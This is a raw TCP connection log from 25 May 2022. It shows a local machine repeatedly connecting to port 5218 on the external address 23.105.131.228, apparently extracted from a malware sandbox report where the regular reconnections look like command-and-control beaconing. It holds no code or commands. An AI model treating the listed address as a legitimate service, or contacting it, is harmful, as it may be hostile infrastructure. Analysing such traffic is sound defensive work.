May 25, 2022 16:27:49.431340933 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.431372881 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.431425095 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.431494951 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.431570053 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.431621075 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.431649923 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.431745052 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.431766987 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.431894064 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.431948900 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.432044029 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.476181030 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.476259947 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.476469994 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.476563931 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.476645947 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.476703882 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.476802111 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.476996899 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:53.203599930 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:53.469691038 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:53.470051050 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:53.470678091 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:53.779740095 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:53.779999018 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:53.825093985 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:53.877180099 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:54.142268896 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:54.142522097 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:54.436582088 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:54.436785936 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:54.738439083 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:54.738626957 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.037735939 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.038028002 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.106718063 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.107069016 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.109683037 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.109782934 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.109855890 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.109921932 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.109982967 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.110004902 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.110147953 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.110213041 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.110347986 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.110366106 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.113228083 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.113301992 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.113395929 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.113476038 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.113534927 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.113557100 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.113579988 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.113810062 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.336343050 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.336602926 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.361380100 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.381269932 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.381370068 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.381426096 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.381498098 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.381522894 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.381553888 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.381581068 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.381603956 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.381628036 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.381683111 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.381701946 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.381747961 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.381854057 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.381865025 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.381911039 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.382061958 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.382071972 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.382184982 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.382301092 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.382307053 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.382358074 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.382430077 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.382567883 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.382613897 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.382678032 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.382733107 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.382785082 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.382859945 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.382874012 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.382916927 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.382921934 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.382936001 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.383053064 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.383096933 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.445199966 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.445286036 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.445550919 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:55.463674068 CEST	5218	49780	23.105.131.228	192.168.11.20
May 25, 2022 16:27:55.464000940 CEST	49780	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:59.389672041 CEST	49781	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:59.670284986 CEST	5218	49781	23.105.131.228	192.168.11.20
May 25, 2022 16:27:59.670598984 CEST	49781	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:59.670880079 CEST	49781	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:00.001055956 CEST	5218	49781	23.105.131.228	192.168.11.20
May 25, 2022 16:28:00.001225948 CEST	49781	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:00.036597967 CEST	5218	49781	23.105.131.228	192.168.11.20
May 25, 2022 16:28:00.078793049 CEST	49781	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:00.311245918 CEST	5218	49781	23.105.131.228	192.168.11.20
May 25, 2022 16:28:00.311449051 CEST	49781	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:00.778700113 CEST	5218	49781	23.105.131.228	192.168.11.20
May 25, 2022 16:28:00.778955936 CEST	49781	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:01.274820089 CEST	5218	49781	23.105.131.228	192.168.11.20
May 25, 2022 16:28:01.275051117 CEST	49781	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:01.587764978 CEST	5218	49781	23.105.131.228	192.168.11.20
May 25, 2022 16:28:01.588002920 CEST	49781	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:01.609930038 CEST	49781	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:01.660200119 CEST	5218	49781	23.105.131.228	192.168.11.20
May 25, 2022 16:28:01.660263062 CEST	5218	49781	23.105.131.228	192.168.11.20
May 25, 2022 16:28:01.660329103 CEST	5218	49781	23.105.131.228	192.168.11.20
May 25, 2022 16:28:01.660470009 CEST	49781	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:01.660603046 CEST	5218	49781	23.105.131.228	192.168.11.20
May 25, 2022 16:28:01.660844088 CEST	49781	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:01.663223982 CEST	5218	49781	23.105.131.228	192.168.11.20
May 25, 2022 16:28:01.663466930 CEST	49781	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:01.663533926 CEST	5218	49781	23.105.131.228	192.168.11.20
May 25, 2022 16:28:01.663595915 CEST	5218	49781	23.105.131.228	192.168.11.20
May 25, 2022 16:28:01.663707972 CEST	49781	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:01.663819075 CEST	49781	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:01.665456057 CEST	5218	49781	23.105.131.228	192.168.11.20
May 25, 2022 16:28:01.665539026 CEST	5218	49781	23.105.131.228	192.168.11.20
May 25, 2022 16:28:01.665587902 CEST	5218	49781	23.105.131.228	192.168.11.20
May 25, 2022 16:28:01.665704966 CEST	49781	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:01.665761948 CEST	49781	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:05.742664099 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:06.137556076 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:06.138324976 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:06.138717890 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:06.528026104 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:06.528239965 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:06.588646889 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:06.639976025 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:06.834822893 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:06.835117102 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:07.104739904 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:07.104964018 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:07.416013956 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:07.416399002 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:07.772681952 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:07.772963047 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:07.860326052 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:07.860342026 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:07.860353947 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:07.860693932 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:07.861757994 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:07.861779928 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:07.861972094 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:07.861972094 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:07.862109900 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:07.862221003 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:07.862287045 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:07.865050077 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:07.865307093 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:07.909202099 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:07.909279108 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:07.909555912 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:07.909595013 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:08.014843941 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:08.079781055 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:08.080138922 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:08.137512922 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:08.137880087 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:08.146986961 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:08.147073030 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:08.147135019 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:08.147254944 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:08.147322893 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:08.150008917 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:08.150100946 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:08.150188923 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:08.150275946 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:08.150279045 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:08.150341034 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:08.150342941 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:08.150393963 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:08.150568008 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:08.150602102 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:08.150635004 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:08.150724888 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:08.150787115 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:08.150794983 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:08.150942087 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:08.150969982 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:08.151021004 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:08.151024103 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:08.151179075 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:08.151242018 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:08.151283026 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:08.151334047 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:08.151458979 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:08.151626110 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:08.168653965 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:08.168919086 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:08.192092896 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:08.192445040 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:08.194452047 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:08.194590092 CEST	5218	49782	23.105.131.228	192.168.11.20
May 25, 2022 16:28:08.194726944 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:08.194787979 CEST	49782	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:12.042706013 CEST	49783	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:12.310909986 CEST	5218	49783	23.105.131.228	192.168.11.20
May 25, 2022 16:28:12.311114073 CEST	49783	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:12.382303953 CEST	49783	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:12.684148073 CEST	5218	49783	23.105.131.228	192.168.11.20
May 25, 2022 16:28:12.684407949 CEST	49783	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:12.768652916 CEST	5218	49783	23.105.131.228	192.168.11.20
May 25, 2022 16:28:12.810370922 CEST	49783	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:13.107158899 CEST	5218	49783	23.105.131.228	192.168.11.20
May 25, 2022 16:28:13.107661963 CEST	49783	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:13.486641884 CEST	5218	49783	23.105.131.228	192.168.11.20
May 25, 2022 16:28:13.486923933 CEST	49783	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:13.906594038 CEST	5218	49783	23.105.131.228	192.168.11.20
May 25, 2022 16:28:13.906852961 CEST	49783	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:14.228851080 CEST	5218	49783	23.105.131.228	192.168.11.20
May 25, 2022 16:28:14.229320049 CEST	49783	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:14.278994083 CEST	49783	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:14.312855959 CEST	5218	49783	23.105.131.228	192.168.11.20
May 25, 2022 16:28:14.312941074 CEST	5218	49783	23.105.131.228	192.168.11.20
May 25, 2022 16:28:14.313246012 CEST	49783	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:14.313344002 CEST	49783	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:14.314898014 CEST	5218	49783	23.105.131.228	192.168.11.20
May 25, 2022 16:28:14.315110922 CEST	49783	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:14.320522070 CEST	5218	49783	23.105.131.228	192.168.11.20
May 25, 2022 16:28:14.320734024 CEST	49783	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:14.325190067 CEST	5218	49783	23.105.131.228	192.168.11.20
May 25, 2022 16:28:14.325274944 CEST	5218	49783	23.105.131.228	192.168.11.20
May 25, 2022 16:28:14.325339079 CEST	5218	49783	23.105.131.228	192.168.11.20
May 25, 2022 16:28:14.325459003 CEST	49783	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:14.325526953 CEST	49783	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:14.325542927 CEST	49783	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:14.327002048 CEST	5218	49783	23.105.131.228	192.168.11.20
May 25, 2022 16:28:14.327114105 CEST	5218	49783	23.105.131.228	192.168.11.20
May 25, 2022 16:28:14.327212095 CEST	49783	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:14.327277899 CEST	49783	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:14.329257965 CEST	5218	49783	23.105.131.228	192.168.11.20
May 25, 2022 16:28:14.329464912 CEST	49783	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:14.528472900 CEST	5218	49783	23.105.131.228	192.168.11.20
May 25, 2022 16:28:14.528969049 CEST	49783	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:18.307322025 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:18.575989962 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:18.576299906 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:18.576555014 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:18.878505945 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:18.879046917 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:18.912611008 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:18.965276003 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:19.245996952 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:19.246150017 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:19.530488968 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:19.530702114 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:19.911851883 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:19.912064075 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.228074074 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.228291988 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.281305075 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.281594992 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.291641951 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.291852951 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.294814110 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.294904947 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.294981956 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.295036077 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.295109987 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.295156956 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.295218945 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.295233011 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.295306921 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.295492887 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.295555115 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.295608997 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.295722961 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.295799017 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.402710915 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.565287113 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.565478086 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.565649033 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.565730095 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.565779924 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.565922022 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.565949917 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.565979958 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.566093922 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.566195965 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.566250086 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.566344976 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.566390038 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.566416025 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.566572905 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.566582918 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.566643953 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.566690922 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.566724062 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.566823959 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.566857100 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.566947937 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.566984892 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.567100048 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.567105055 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.567193031 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.567296982 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.567342043 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.568185091 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.568376064 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.570935011 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.571146965 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.572349072 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.572458982 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.572571993 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.572619915 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.581438065 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.581821918 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:20.583430052 CEST	5218	49784	23.105.131.228	192.168.11.20
May 25, 2022 16:28:20.583658934 CEST	49784	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:24.438661098 CEST	49785	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:24.770548105 CEST	5218	49785	23.105.131.228	192.168.11.20
May 25, 2022 16:28:24.770771027 CEST	49785	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:24.771070957 CEST	49785	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:25.463901043 CEST	49785	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:25.789169073 CEST	5218	49785	23.105.131.228	192.168.11.20
May 25, 2022 16:28:25.789443016 CEST	49785	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:25.838655949 CEST	5218	49785	23.105.131.228	192.168.11.20
May 25, 2022 16:28:25.885545015 CEST	49785	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:26.091228962 CEST	5218	49785	23.105.131.228	192.168.11.20
May 25, 2022 16:28:26.091547966 CEST	49785	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:26.357049942 CEST	5218	49785	23.105.131.228	192.168.11.20
May 25, 2022 16:28:26.357244015 CEST	49785	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:26.588804960 CEST	49785	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:26.675338984 CEST	5218	49785	23.105.131.228	192.168.11.20
May 25, 2022 16:28:26.675632954 CEST	49785	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:30.614533901 CEST	49786	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:30.959069967 CEST	5218	49786	23.105.131.228	192.168.11.20
May 25, 2022 16:28:30.959289074 CEST	49786	5218	192.168.11.20	23.105.131.228
